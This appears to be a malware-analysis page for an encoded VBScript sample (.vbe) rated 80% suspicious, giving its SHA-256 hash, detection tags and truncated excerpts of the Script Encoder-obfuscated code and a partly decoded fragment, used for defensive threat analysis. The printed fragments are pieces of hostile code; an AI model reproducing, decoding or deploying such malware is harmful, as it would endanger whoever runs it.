Suspicious 80% Download

5e31599f583f04530af1cc5c2b054d75c169cc345f134649f97a254e2260a899.vbe

Encoded VBScript malware

Microsoft Script Encoder protected scriptVBScript has long average lines
SHA-2565e31599f583f04530af1cc5c2b054d75c169cc345f134649f97a254e2260a899
MaleculeO(As₃)Md

Evidence

Microsoft Script Encoder protected script line 1
1#@~^4MkUAA==@#@&@#@&}wDkW PAaw^k^kD@#@&@#@&@#@&@#@&@#@&@#@&@#@&@#@&UE(PPq\uh`b@#@&~P,P9rsPse9j?@#@&,~,P~,P,@#@&,P,~sIf#?,'~]wVm^+vCxti`_x}i`u x}i`_ 9\jcE2&&ff2&{&2f2&f2!2&&2&2fv2&fc2&f2&&2f&2G&2ff&2&F&f&ff2&&2f&2&fX2&&ff2&{&2f2&f2 2&&2&2fG2&f&2&ff2&&2f&2v&2ff&2&R&f&ff2&&2f&2&fX2&&ff2&&2fW&f2&2&&2&2fv2&fc2&ff2&&2f&2 &2ff&2&Z&f&ff2&+&2fc2&f*2&&ff2&X&2f2&f2G2&&2&2fv2&f&2&f12&&2f&2v&2f*&2&l&f&ff2&&2f&2&f*2&&ff2&&2fW&f2v2&&2&2fG2&f&2&f{2&&2f&2*&2ff&2&2&f&ff2&{&2f&2&f*2&&ff2&{&2f2&f2,2&&2&2fv2&fc2&ff2&&2f&2v&2ff&2&l&f&ff2&+&2f&2&fT2&&ff2&*&2f2&f2%2&&2&2fv2&f&2&f12&&2f&2v&2ff&2&W&f&ff2&&2f&2&f*2&&f …
Percent-encoded content decoded line 1
1:232891… TZ!XvlR,*FvWss8*wT,ycX!ZATT82AZ+&yZ!loX2lA;,/ T0Z!0&A/ ;%TfGf%{WGT!ZTl*X+*F!sRcG1!Z!T!Z%TfG%229cF!!ZT0AFZycfZToRc$!ZT!Z!T0Z&fo0+G*GZTZ!$GZ;GcWvZTGWc/%Gc*+WF!lTswF*A/1 W*Z!0&3/8%0fW/ W&00~fG0$wc3%R3FfT8!Z*!RAGX%~Z32R%9Ty!!ZT%22Z8*0A;Z+% …
Microsoft Script Encoder footer line 1
1:1362325… &,PP~H6O@#@&~,P~@#@&,PP,Z&un\PxPvqUjDD`toS:f~,-8ZMS6#~@*~T*@#@&2 [PwEU^DkWU@#@&@#@&@#@&V/N4BA==^#~@�

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.